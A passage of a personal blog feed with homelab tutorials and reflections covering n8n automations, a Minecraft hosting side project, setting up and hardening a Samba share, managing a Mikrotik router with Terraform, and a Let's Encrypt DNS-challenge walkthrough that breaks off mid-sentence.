<p>My idea before going into the field of n8n with LLMs it’s to build as many thing as possible (maybe not the best ones for everything adds up)</p>
<p>So after I was doing a side project I thought this may be a good use case to learn more</p>
<h2 id="heading-case-1">Case #1</h2>
<h3 id="heading-the-idea">The idea</h3>
<p>What happens here is the example of a user going into the detail page of a game which gathers information about the game itself from different sources like</p>
<ul>
<li><p>thegamesdb</p>
</li>
<li><p>metacritic</p>
</li>
<li><p>youtube</p>
</li>
</ul>
<p>with these 3 sources I build a simple but useful page for that specific game</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761503847068/bc5f87af-8dbe-420f-875e-ce75beb9ea60.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-the-workflow">The workflow</h3>
<p>By itself the workflow it’s quite simple it only does some web scrapping (sorry) and parses information into a JSON then is going to be stored in the database and answer back to the frontend with the JSON.</p>
<p>There are some possible improvements like using the <code>HTML Extractor</code> node instead of doing regex validations to find elements in the HTML with Javascript</p>
<p>Other question to ask myself would be, the validation about if the game exists should be present in the workflow itself or in the frontend?</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761506877031/4f8a12ee-e388-4417-816c-4643f173bcf0.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-the-end-result">The end result</h3>
<p>At the end I’m able to build this horrible but functional detail page for each of the games that are listed in the site, I could also use the scrapper to build a entire database of games with the entire content of thegamesdb and make some improvements (like adding videos of the metacritic like i’m doing rn)</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761503380600/1711379d-3660-40e7-ad8e-23c2c73f49ae.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-case-2">Case #2</h2>
<h3 id="heading-the-idea-1">The idea</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761507769009/e95fe596-1d17-4550-8e3a-74bc5fcd28e2.png" alt class="image--center mx-auto" /></p>
<p>Idea is super simple, I have some devices/machines that are not running inside my proxmox cluster so what I usually do it’s backup them with n8n into the proxmox (in which I after save that “backup” machine into 3 external disks)</p>
<p>In this case I want to save my Retropie saves since I play some retro games there time to time.</p>
<h3 id="heading-the-workflow-1">The workflow</h3>
<p>It uses a schedule trigger to weekly SSH into the machine, if is able to SSH we send a discord message saying “Backup for [MACHINE] will start” and then execute a command inside that machine (rsync) and answer with the message to discord again.</p>
<p>If is not able to do the backup it will send an alert to discord.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761507149481/df81b7fa-6f77-498c-9c67-23ae58fbe596.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-the-end-result-1">The end result</h3>
<p>Having a centralized space to backup everything under proxmox native backup system + proxmox backup server, I don’t have to worry about backups anymore :)</p>
<h4 id="heading-native">Native</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761507952604/015cbb44-044e-4984-8e04-57d4cc422144.png" alt class="image--center mx-auto" /></p>
<h4 id="heading-pbs">PBS</h4>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1761507925919/b4f40eb2-712f-4144-8e98-e0b11374261e.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>N8N it’s cool you should learn it (even if you are not going to use it for AI)</p>
<p>To get some ideas you can go into <a target="_blank" href="https://n8n.io/workflows/">https://n8n.io/workflows/</a> and start playing with it :)</p>
]]></content:encoded></item><item><title><![CDATA[Building an idea while learning: The Tradeoffs]]></title><description><![CDATA[Doing something for the sake or learning always it’s easy, you can take your sweat time and make sure to do as many things as necessary to understand the topic itself or the idea.
In the context of building an idea with a end goal (for example launch...]]></description><link>https://blog.jonathan.com.ar/building-an-idea-while-learning-the-tradeoffs</link><guid isPermaLink="true">https://blog.jonathan.com.ar/building-an-idea-while-learning-the-tradeoffs</guid><category><![CDATA[minecraft]]></category><category><![CDATA[hosting]]></category><category><![CDATA[Java]]></category><category><![CDATA[development]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Thu, 21 Aug 2025 00:23:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1755735762871/cd8a2874-692a-4e66-9cb8-f92875e07046.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Doing something for the sake or learning always it’s easy, you can take your sweat time and make sure to do as many things as necessary to understand the topic itself or the idea.</p>
<p>In the context of building an idea with a end goal (for example launching an app and have real users) you often think to stink in your comfort area and it makes sense, your baseline of quality is way higher, your iterations are also faster.</p>
<p>So what about if we decide to Build something to seek users as the objective while also learning technical stuff?</p>
<p>The conclusion: not a good combo I would say</p>
<h2 id="heading-the-idea">The idea</h2>
<p><img src="https://xboxwire.thesourcemediaassets.com/sites/4/15YR_Free_Cape-1-7cbcb0739e3df57534ec-9063efed017354d1b1c3.jpg" alt="Los momentos más importantes a lo largo de los primeros 15 años de Minecraft  - Xbox Wire en Español" /></p>
<p>This is quite straightforward, a hosting is not something that came up now, it’s an idea that has been around for quite a while and lot of people have their own or there is some of them quite well established so why this?</p>
<p>As for myself I like infrastructure and I thought to myself of the challenges that I’ve not faced enough is dealing with a lot of users myself so I thought running a hosting with few resources would be quite a challenge, the base idea was quite simple and I was not thinking to build anything custom but then a friend decided to join and make things bigger that they were in my head in the beginning.</p>
<p>So we decided to build a custom platform to handle the servers and the infra itself by ourselves (since he’s more dev than me and wanted to learn also infrastructure)</p>
<h3 id="heading-current-status">Current status</h3>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1755734531651/557f54b3-726a-480b-b00c-f18c0ab3ee88.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-the-tech-stack">The tech stack</h2>
<p><img src="https://i.ytimg.com/vi/Z_4Tqmv8Oa4/hq720.jpg?sqp=-oaymwEhCK4FEIIDSFryq4qpAxMIARUAAAAAGAElAADIQj0AgKJD&amp;rs=AOn4CLDkNxsIISt4mRRwuMksDy5_7Q4VkQ" alt="Full Stack Spring Boot + Next.js Tutorial" /></p>
<p>Here the first tradeoff began, since I’m more comfortable with infrastructure (specially on prem) we decided to cut cost and go mostly on prem on a VPS called MassiveGrid and handle things ourself, the frontend of the app we decided to do it in next since both of us have neither of skill there so Vibe coding was the way and agents have more context/knowledge in popular things.</p>
<p>For the backend we decided to go with Java + Spring boot, since the entity of the system itself seems to be related to OOP I’ll say (now I regret) why not Java? this also was not a bad idea in the beginning because my friend is comfortable with that stack.</p>
<p>I had way to confidence in myself that java would be easy but nope, I thought I could read code easily each implementation was not that easy so it took my time even with the help of LLM’s (also we had some implementations that neither of us could archive easily because of the java ecosystem itself)</p>
<h2 id="heading-our-objective">Our objective</h2>
<p><img src="https://www.fsedu.com.au/media/website_posts/74/shutterstock_372270265_1522x1000a.jpg" alt="https://www.fsedu.com.au/media/website_posts/74/shutterstock_372270265_1522x1000a.jpg" /></p>
<p>The base idea was to build a free tier (using our own pockets) to learn what it feels to have an actual product with real users (even if we were at a lost in terms of money) and if it went good start selling actual services for interested people.</p>
<p>Or at least to build the service and gift servers to communities and see how hard was to maintain them with little to none resources.</p>
<p>But most of it was to learn so in that point we keep our word and try to learn until the end.</p>
<h2 id="heading-what-actually-happen">What actually happen</h2>
<p><img src="https://media.istockphoto.com/id/1029327562/es/foto/tiempo-de-funcionamiento.jpg?s=612x612&amp;w=0&amp;k=20&amp;c=zfBlzT4wuYGhGoa1MvoRPTffQiZPVeYqH18oLXBs54k=" alt="https://media.istockphoto.com/id/1029327562/es/foto/tiempo-de-funcionamiento.jpg?s=612x612&amp;w=0&amp;k=20&amp;c=zfBlzT4wuYGhGoa1MvoRPTffQiZPVeYqH18oLXBs54k=" /></p>
<p>We are taking more time than we expected (way more) it’s not something bad if the idea was only learning but if we were counting this with the idea of actually making money we already saw that the idea it’s expensive and hard while it not guaranties success.</p>
<p>At the middle of the development we thought what if we move to golang/node so we iterate faster? poor cursor it tried his best but failed miserably so java lives another day.</p>
<h2 id="heading-it-was-worth-it">It was worth it?</h2>
<p><img src="https://images.ctfassets.net/qpn1gztbusu2/7gDsetIrGqA3BwwCPi14l7/f80b99de31687930d519bd48c773dfd1/best-mystery-audiobooks-social.jpg?fm=jpg&amp;w=3840&amp;q=70" alt="The very best mystery audiobooks to entertain your inner sleuth" /></p>
<p>Can’t tell until we finish! there are only a few features left until we finish the integrations and there start search for users, here’s still a few things cool to see (seek users and see how to retain them lol)</p>
<p>As far from know I’ll say that the experience itself is totally worth it trying to build something from the ground up, maybe at a technical level you think have you learn it a lot? nah but yes in others aspects which I value a lot in this field.</p>
<h2 id="heading-conclusion">Conclusion</h2>
<p>Building something from zero is fun but it takes time depending on the idea you are planning, make sure to have your priorities defined so you don’t leave projects without a finishing!!</p>
<p>As far for Mainhost the build continues, see you at release day!! (Hope it would be soon mueheh)</p>
]]></content:encoded></item><item><title><![CDATA[Share files across your network with SAMBA]]></title><description><![CDATA[Overview 📊
Like Wikipedia says Samba is a free software re-implementation of the SMB networking protocol.
Now what is the SMB protocol? well It’s a way of sharing files across devices in a network, simple as that.
❗Important ❗ for any case, always u...]]></description><link>https://blog.jonathan.com.ar/share-files-across-your-network-with-samba</link><guid isPermaLink="true">https://blog.jonathan.com.ar/share-files-across-your-network-with-samba</guid><category><![CDATA[Linux]]></category><category><![CDATA[Windows]]></category><category><![CDATA[Devops]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Sun, 13 Jul 2025 20:17:02 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1752385289231/d6ce6a0f-c55a-4772-b026-e8a159729367.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-overview">Overview 📊</h3>
<p>Like Wikipedia says <strong>Samba</strong> is a <a target="_blank" href="https://en.wikipedia.org/wiki/Free_software">free software</a> re-implementation of the <a target="_blank" href="https://en.wikipedia.org/wiki/Server_Message_Block">SMB</a> <a target="_blank" href="https://en.wikipedia.org/wiki/Computer_network">networking</a> <a target="_blank" href="https://en.wikipedia.org/wiki/Protocol_\(computing\)">protocol</a>.</p>
<p>Now what is the SMB protocol? well It’s a way of sharing files across devices in a network, simple as that.</p>
<p>❗<strong>Important</strong> ❗ <strong>for any case, always use SMBv3 for security purposes even in LAN workflows.</strong></p>
<h2 id="heading-requirements">Requirements 📓</h2>
<p>To follow this article you are going to need</p>
<ul>
<li><p>A linux computer (debian based)</p>
</li>
<li><p>A few minutes of your life</p>
</li>
</ul>
<h2 id="heading-use-cases-for-samba">Use cases for SAMBA 🤔</h2>
<p>Well you can guess there is a lot of use cases but I’m going to tell you the ones that worked for me :)</p>
<h3 id="heading-having-to-share-files-with-someone-who-uses-a-windows-computer">Having to share files with someone who uses a Windows computer 🪟</h3>
<p>I could use NFS since my complete house is unix based, but what about when a friend comes with his laptop and uses Windows? well things become tricky so I’ll rather have the Samba over NFS so they don’t have to loss their mental like myself.</p>
<h3 id="heading-obsidian-vault">Obsidian vault 💜</h3>
<p>Although obsidian doesn’t sync in real time for each device once you open the vault from another devices changes are there so that’s fine for me because I’ll do most of the things in my desktop and If I want to continue from bed in the laptop the progress is going to be synced from there so it’s quite effective.</p>
<h3 id="heading-keepass-db">Keepass db 💚</h3>
<p>Somewhat same case as Obsidian, having a keepass db could be a pain in the ass to keep up to date across multiple devices, so this way becomes quite simple and keeps being private which is the idea of using keepass right? if I want sync with other devices and use the cloud I’ll rather use Bitwarden.</p>
<h3 id="heading-stateful-services-dev">Stateful services (dev) 🧑‍💻</h3>
<p>Do you have an application in your infra that needs to store something locally in the computer? like pictures, documents and stuff? while mounting the share via CIFS won’t be the fastest solution it could work perfectly for your lab especially on DEV environments</p>
<p>In my case I have some personal API rest that I’ve built for learning purposes and it stores things locally so using a only computer is fine but since the app is in a cluster across multiple computers the state needs to be shared across all of them or else all of them should access the samba right? to read and write from there.</p>
<h2 id="heading-install-the-samba-server">Install the samba server 🧰</h2>
<p>To accomplish this we are going to follow this guide <a target="_blank" href="https://ubuntu.com/tutorials/install-and-configure-samba#1-overview">https://ubuntu.com/tutorials/install-and-configure-samba#1-overview</a></p>
<p>Since I mention earlier we are using a debian based box (ubuntu in this case) we are going to install it this way</p>
<pre><code class="lang-bash">sudo apt update -y
sudo apt install samba
</code></pre>
<p>Simple as that! :)</p>
<p>Check that samba is installed with</p>
<pre><code class="lang-bash">samba --version
Version X-Debian
</code></pre>
<h2 id="heading-create-a-share">Create a Share 🍕</h2>
<p>To create a share we should first create a file in a directory, in my case I’m using the home of the user</p>
<pre><code class="lang-bash">mkdir /home/user/sambashare
</code></pre>
<p>After that we need to modify the <code>smb.conf</code></p>
<pre><code class="lang-bash">sudo nano /etc/samba/smb.conf
</code></pre>
<p>Once editing the file we are going to add this at the bottom</p>
<pre><code class="lang-bash">[sambashare]
    comment = Example
    path = /home/username/sambashare
    <span class="hljs-built_in">read</span> only = no
    browsable = yes
</code></pre>
<p>Where <code>sambashare</code> is the name of the share (could be anything)</p>
<p>Once that is done save the file and <code>sudo service smbd restart</code> to restart the service</p>
<p>Now it’s needed to create an user for the <code>SMB</code></p>
<pre><code class="lang-bash">$ smbpasswd -<span class="hljs-built_in">help</span>
When run by root:
    smbpasswd [options] [username]
otherwise:
    smbpasswd [options]

options:
  -L                   <span class="hljs-built_in">local</span> mode (must be first option)
  -h                   <span class="hljs-built_in">print</span> this usage message
  -s                   use stdin <span class="hljs-keyword">for</span> password prompt
  -c smb.conf file     Use the given path to the smb.conf file
  -D LEVEL             debug level
  -r MACHINE           remote machine
  -U USER              remote username (e.g. SAM/user)
extra options when run by root or <span class="hljs-keyword">in</span> <span class="hljs-built_in">local</span> mode:
  -a                   add user
  -d                   <span class="hljs-built_in">disable</span> user
  -e                   <span class="hljs-built_in">enable</span> user
  -i                   interdomain trust account
  -m                   machine trust account
  -n                   <span class="hljs-built_in">set</span> no password
  -W                   use stdin ldap admin password
  -w PASSWORD          ldap admin password
  -x                   delete user
  -R ORDER             name resolve order

<span class="hljs-comment">## So we are going to do this</span>
sudo smbpasswd -a &lt;USER&gt;
sudo smbpasswd -e &lt;USER&gt;
</code></pre>
<h2 id="heading-secure-the-samba-optional">Secure the samba (optional) 🔐</h2>
<p>Based on this article <a target="_blank" href="https://www.makeuseof.com/ways-to-secure-samba-server-on-linux/">https://www.makeuseof.com/ways-to-secure-samba-server-on-linux/</a></p>
<p>We are going to at least ensure the followings for my case since usage is LAN only</p>
<ul>
<li><p>Encrypt the traffic</p>
</li>
<li><p>Avoid the usage of SMBv1</p>
</li>
<li><p>Ensure hosts base restrictions</p>
</li>
<li><p>Restrict anonymous usage</p>
</li>
</ul>
<p>To ensure that we are going to modify the same file as before <code>/etc/samba/smb.conf</code></p>
<p>And in the <code>[global]</code> section make sure to include</p>
<pre><code class="lang-bash">[global]

<span class="hljs-comment">## Browsing/Identification ###</span>
   workgroup = WORKGROUP
   min protocol = SMB2
   restrict anonymous = 2
   hosts allow = 127.0.0.1 192.168.0.1/24
   hosts deny = 0.0.0.0/0
   smb encrypt = required
   server signing = mandatory
</code></pre>
<p>To ensure that traffic is being encrypted you can check it with</p>
<pre><code class="lang-bash">sudo smbstatus

Samba version X-Debian
PID     Username     Group        Machine                                   Protocol Version  Encryption           Signing
----------------------------------------------------------------------------------------------------------------------------------------
32393   username       group       192.168.X.X (ipv4:192.168.X.X:X) SMB3_11            AES-128-GCM          AES-128-CMAC

Service      pid     Machine       Connected at                     Encryption   Signing
---------------------------------------------------------------------------------------------
sambashare   32393   192.168.X.X Sun Jul 13 16:53:03 2025 -03      AES-128-GCM  AES-128-CMAC

No locked files
</code></pre>
<p>From there we can also see that we are not using SMBv1</p>
<p>Also if we scan with <code>nmap</code> for example we can see that signing is required</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752437261941/82cd99ed-3b04-4465-8efb-1bf44c52bcb4.png" alt class="image--center mx-auto" /></p>
<p>Also we can see that is not possible to access with no creds</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752437661409/243070e1-8298-42a6-a5aa-01c5b9f51b74.png" alt class="image--center mx-auto" /></p>
<p>To secure even more the SMB and get more ideas of possible attacks I’ll suggest you check</p>
<p><a target="_blank" href="https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html">https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-smb/index.html</a></p>
<h2 id="heading-access-the-share-from-linux">Access the Share from linux 🐧</h2>
<p>In ubuntu from your filemanager</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752431218283/199e17cb-f90b-44d3-89d7-5b9212933706.png" alt class="image--center mx-auto" /></p>
<p>In my case the <code>NAS</code> is the one we are looking for, in case the network part won’t find we can access it from the search far typing something like:</p>
<p><code>smb://&lt;IP&gt;/&lt;SHARE&gt;</code> an example would be <code>smb://192.168.0.5/sambashare</code></p>
<p>If is the first time we do it we have to authenticate</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752431663069/4d576444-5e00-4346-bf5c-56563fb21bb8.png" alt class="image--center mx-auto" /></p>
<p>Remember here this is not your username, is the one created for the SMB/Share</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752431893998/a78855e2-cf39-467b-afc5-e4e93d408d53.png" alt class="image--center mx-auto" /></p>
<p>After a successful login we can see our share mounted in the system and use it in applications</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1752432000047/ee213b06-12dd-4eb4-870f-30aced7e76c3.png" alt class="image--center mx-auto" /></p>
<p>In case your FM can’t mount or access the share you will have to do it from the terminal</p>
<p>Ensure that you have <code>cifs-utils</code> installed, that the location to mount exists and to specify a version over 3.0 in order to use <strong>SMBv3</strong></p>
<pre><code class="lang-bash">sudo mount -t cifs //&lt;IP&gt;/&lt;SHARE&gt; &lt;LOCATION_TO_MOUNT&gt; \
  -o user=USUARIO,password=PASSWORD,uid=$(id -u),gid=$(id -g),file_mode=0664,dir_mode=0775,ver=3.0
</code></pre>
<h2 id="heading-conclusion">Conclusion 🏁</h2>
<p>If you reach this means it means that your share must be working, congratz!! Hope you have a great day.</p>
<p>For any issue or suggestion you can contact me at <a target="_blank" href="https://links.jonathan.com.ar/">https://links.jonathan.com.ar</a></p>
]]></content:encoded></item><item><title><![CDATA[Manage your Mikrotik with Terraform]]></title><description><![CDATA[In this article I’m going to show a simple example (specific to homelabers) to manage their networking via TF, why? well because winbox is cool but each change we do you probably create a backup right? well I’m least thats me.
So let’s integrate our ...]]></description><link>https://blog.jonathan.com.ar/manage-your-mikrotik-with-terraform</link><guid isPermaLink="true">https://blog.jonathan.com.ar/manage-your-mikrotik-with-terraform</guid><category><![CDATA[Terraform]]></category><category><![CDATA[Devops]]></category><category><![CDATA[networking]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Mon, 16 Jun 2025 01:44:35 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1750035222492/98bd918a-14c9-42a1-996e-84cbffe7d06e.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this article I’m going to show a simple example (specific to homelabers) to manage their networking via TF, why? well because winbox is cool but each change we do you probably create a backup right? well I’m least thats me.</p>
<p>So let’s integrate our changes via TF, at least locally not with the idea of GitOps (for now).</p>
<h2 id="heading-requirements">Requirements</h2>
<ul>
<li><p>RouterOS v7.1beta4 or newer</p>
</li>
<li><p>Another user with <code>write</code> permissions</p>
</li>
<li><p>A self signed cert for the <code>www-ssl</code> service and <code>root</code></p>
</li>
<li><p>The service www-ssl enabled with a cert</p>
</li>
</ul>
<h2 id="heading-certificates">Certificates</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750036148827/6a151ac2-fe1e-4d75-85a4-789b0b398ca7.png" alt class="image--center mx-auto" /></p>
<p>In case you are on that version, you don’t need to create the <code>root</code> one since it comes built in.</p>
<p>To create the <code>www-ssl</code> one let’s do the following, first ssh into your router or login via winbox, in the terminal type</p>
<pre><code class="lang-bash">/certificate
</code></pre>
<p>Inside there let’s do</p>
<pre><code class="lang-bash">/certificate&gt; add name=root-cert common-name=root-cert key-usage=key-cert-sign,crl-sign
/certificate&gt; add name=https-cert common-name=https-cert
</code></pre>
<p>With that we got our certificates created, now we need to sign them. Let’s do the following</p>
<pre><code class="lang-bash">/certificate&gt; sign https-cert
  progress: <span class="hljs-keyword">done</span>

/certificate&gt; sign root-cert
  progress: <span class="hljs-keyword">done</span>
</code></pre>
<p>Now let’s enable the web with <code>ssl</code></p>
<pre><code class="lang-bash">/ip service
<span class="hljs-built_in">set</span> www-ssl certificate=https-cert disabled=no
</code></pre>
<h2 id="heading-terraform">Terraform</h2>
<p>Now it’s time to set up our terraform environment, about the provider we are going to use is this <a target="_blank" href="https://registry.terraform.io/providers/terraform-routeros/routeros/latest">https://registry.terraform.io/providers/terraform-routeros/routeros/latest</a></p>
<h3 id="heading-folder-structure">Folder structure</h3>
<p>In my case I like to build them like this (at least when is one environment)</p>
<pre><code class="lang-bash">🌳 terraform/
┣ 📁 config/
┃ ┣ 📄 .gitkeep
┃ ┗ 📄 router.tfvars
┣ 📁 router/
┃ ┣ 📄 provider.tf
┃ ┣ 📄 resources.tf
┃ ┗ 📄 variables.tf
┣ 📄 backend.tf
┣ 📄 resources.tf
┗ 📄 versions.tf
</code></pre>
<p>In the <code>resources</code> at root level there is something like this</p>
<pre><code class="lang-yaml"><span class="hljs-string">variable</span> <span class="hljs-string">"ROS_HOSTURL"</span> {}
<span class="hljs-string">variable</span> <span class="hljs-string">"ROS_USERNAME"</span> {}
<span class="hljs-string">variable</span> <span class="hljs-string">"ROS_PASSWORD"</span> {}

<span class="hljs-string">module</span> <span class="hljs-string">"router"</span> {
  <span class="hljs-string">source</span>       <span class="hljs-string">=</span> <span class="hljs-string">"./router"</span>
  <span class="hljs-string">ROS_HOSTURL</span>  <span class="hljs-string">=</span> <span class="hljs-string">var.ROS_HOSTURL</span>
  <span class="hljs-string">ROS_USERNAME</span> <span class="hljs-string">=</span> <span class="hljs-string">var.ROS_USERNAME</span>
  <span class="hljs-string">ROS_PASSWORD</span> <span class="hljs-string">=</span> <span class="hljs-string">var.ROS_PASSWORD</span>
}
</code></pre>
<p>Since I’m using modules I create the variables that get injected at execution time via environment variables</p>
<p>Before doing any king of action remember to create your <code>tf.vars</code> file</p>
<p>The one used in this example has this structure</p>
<pre><code class="lang-bash">ROS_HOSTURL=<span class="hljs-string">"https://&lt;IP_MIKROTIK&gt;"</span>
ROS_USERNAME=<span class="hljs-string">"&lt;USER_WE_CREATED_BEFORE_WITH_WRITE_ACCESS&gt;"</span>
ROS_PASSWORD=<span class="hljs-string">"&lt;USER_PASSWORD&gt;"</span>
</code></pre>
<p>Running something like</p>
<pre><code class="lang-bash">terraform &lt;action&gt; -var-file=config/router.tfvars --auto-approve;
</code></pre>
<p>Inside the <code>router</code> module we would need the provider which it’s something like this</p>
<pre><code class="lang-bash">terraform {
  required_providers {
    routeros = {
      <span class="hljs-built_in">source</span> = <span class="hljs-string">"terraform-routeros/routeros"</span>
    }
  }
}

provider <span class="hljs-string">"routeros"</span> {
  hosturl  = var.ROS_HOSTURL
  username = var.ROS_USERNAME
  password = var.ROS_PASSWORD
  insecure = <span class="hljs-literal">true</span> <span class="hljs-comment"># this is needed because routeros is using self-signed certificates</span>
}
</code></pre>
<p>In my case in <code>resources</code> Im just creating DNS so it’s quite simple</p>
<pre><code class="lang-bash">locals {
  ros_subdomains = [
    <span class="hljs-string">"..."</span>,
    <span class="hljs-string">"..."</span>,
    <span class="hljs-string">"..."</span>,
  ]
}

resource <span class="hljs-string">"routeros_dns_record"</span> <span class="hljs-string">"subdomains"</span> {
  for_each = toset(local.ros_subdomains)
  name     = <span class="hljs-string">"<span class="hljs-variable">${each.key}</span>.<span class="hljs-variable">${var.ROS_BASE_DOMAIN}</span>"</span>
  cname    = var.ROS_BASE_DOMAIN
  <span class="hljs-built_in">type</span>     = <span class="hljs-string">"CNAME"</span>
  comment  = var.ROS_COMMENT_DEFAULT
}
</code></pre>
<p>And for the variables I’m using are this</p>
<pre><code class="lang-bash">variable <span class="hljs-string">"ROS_HOSTURL"</span> {
  description = <span class="hljs-string">"RouterOS host URL"</span>
  <span class="hljs-built_in">type</span>        = string
  default     = <span class="hljs-string">"http://..."</span>
}

variable <span class="hljs-string">"ROS_USERNAME"</span> {
  description = <span class="hljs-string">"RouterOS username"</span>
  <span class="hljs-built_in">type</span>        = string
  default     = <span class="hljs-string">""</span>
  sensitive   = <span class="hljs-literal">true</span>
}

variable <span class="hljs-string">"ROS_PASSWORD"</span> {
  description = <span class="hljs-string">"RouterOS password"</span>
  <span class="hljs-built_in">type</span>        = string
  default     = <span class="hljs-string">""</span>
  sensitive   = <span class="hljs-literal">true</span>
}

variable <span class="hljs-string">"ROS_BASE_DOMAIN"</span> {
  description = <span class="hljs-string">"Base domain for DNS records"</span>
  <span class="hljs-built_in">type</span>        = string
  default     = <span class="hljs-string">"internal.jonathan.com.ar"</span>
}

variable <span class="hljs-string">"ROS_COMMENT_DEFAULT"</span> {
  description = <span class="hljs-string">"Default comment for RouterOS resources"</span>
  <span class="hljs-built_in">type</span>        = string
  default     = <span class="hljs-string">"Managed by Terraform"</span>
}
</code></pre>
<p>I’ll like to add a comment on each resource managed via TF so I’ll remember later to not modify them manually.</p>
<p>Now we could <code>init</code> the project</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750037232541/5d814806-e798-47df-bc03-24f90a51899f.png" alt class="image--center mx-auto" /></p>
<p>Now I'm going to add a new DNS just to update my state and run a <code>terraform plan</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750037785350/7539fba4-0ee5-4bbb-b265-58a924ce5e0b.png" alt class="image--center mx-auto" /></p>
<p>Now if I run <code>terraform apply</code> this would create the entry in my router.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750037626952/7e200499-77b1-46f4-95e0-aad23e19e713.png" alt class="image--center mx-auto" /></p>
<p>We can check it out</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1750037681642/c4276112-732f-4733-a4b6-82e6373523eb.png" alt class="image--center mx-auto" /></p>
<p>And that’s it!</p>
<p>We got our terraform working with RouterOS :)</p>
<h3 id="heading-destruction">Destruction</h3>
<p>In case you want to destroy everything you can just run <code>terraform destroy</code></p>
]]></content:encoded></item><item><title><![CDATA[Get secure domains without opening port 80 and 443]]></title><description><![CDATA[The initial problem
Hihi! Haven even tried to secure something that is LAN only? just for the sake or learning or either you don’t want to see the browser complaining about your site?
If that’s the case your probably already hear out about Let’s encr...]]></description><link>https://blog.jonathan.com.ar/get-secure-domains-without-opening-port-80-and-443</link><guid isPermaLink="true">https://blog.jonathan.com.ar/get-secure-domains-without-opening-port-80-and-443</guid><category><![CDATA[Let's Encrypt]]></category><category><![CDATA[dns]]></category><category><![CDATA[nginx]]></category><dc:creator><![CDATA[jd]]></dc:creator><pubDate>Sun, 27 Apr 2025 03:45:17 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-the-initial-problem">The initial problem</h2>
<p>Hihi! Haven even tried to secure something that is LAN only? just for the sake or learning or either you don’t want to see the browser complaining about your site?</p>
<p>If that’s the case your probably already hear out about <a target="_blank" href="https://letsencrypt.org/">Let’s encrypt</a>, they are a CA(Certificate Authority) which works to validate your certificates and accomplish a <a target="_blank" href="https://en.wikipedia.org/wiki/Chain_of_trust">Chain of trust</a>.</p>
<p>Now I love let’s encrypt and use it everywhere but since in this particular case I don’t want it to open my port 80,443 and give my public IP (since those are the requirements for them to issue you a certificate)</p>
<h2 id="heading-workarounds">Workarounds</h2>
<p>I tried other methods, the first one that I’ve come was self signed certificates. These work! But was the caveat? well you need to make sure each device trust that certificate, could be one of your browsers (if you use more than one) your phone, laptop, list goes on.</p>
<p>So that was not practical at all, more to think what about if someone comes into my place and I’ll say to them “Hey can you load my certificate on your device?” hell no haha.</p>
<h2 id="heading-my-solution">My solution</h2>
<p>Requirements</p>
<ul>
<li><p>Domain</p>
</li>
<li><p>DNS service (route 53, cloudflare, etc)</p>
</li>
</ul>
<p>This is not something that I came up myself, but I found that you could do a DNS challenge for Let’s encrypt and validate your identity that way, how can we accomplish that? well it depends and which kind of software you are using and where your domains are located.</p>
<p>In this example I’m going to use <a target="_blank" href="https://nginxproxymanager.com/">Nginx proxy manager</a> + Cloudflare, if you are going to follow this example with the NPM, first make sure to have it up and running</p>
<p>I suggest you use the docker compose installation they had, after the installation you have to create and account and land on a dashboard like this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745719537702/115f48ad-0e87-43cf-9f50-d0c259d4f6d8.png" alt class="image--center mx-auto" /></p>
<p>Now let’s head into SSL Certificates</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745719600149/d28b4f9f-cdaa-47e1-bf18-0867f143669c.png" alt class="image--center mx-auto" /></p>
<p>Once we are here as you can see I’ll have mine already there, these certificates last for 3 months but I’ll show you how to renovate them later on :)</p>
<p>Now click on “Add SSL Certificate” and then “Let’s Encrypt”</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745719777718/231950ae-133f-4cf9-8967-309dcf57fb52.png" alt class="image--center mx-auto" /></p>
<p>First we need to choose a domain, enable the “Use a DNS Challenge” choose a provider and agree about the terms of service.</p>
<p>When selecting the DNS provider is going to ask us about a api token</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745719858759/0eb11e96-d5cb-412c-89c7-dd36e98a6195.png" alt class="image--center mx-auto" /></p>
<p>We can obtain it from</p>
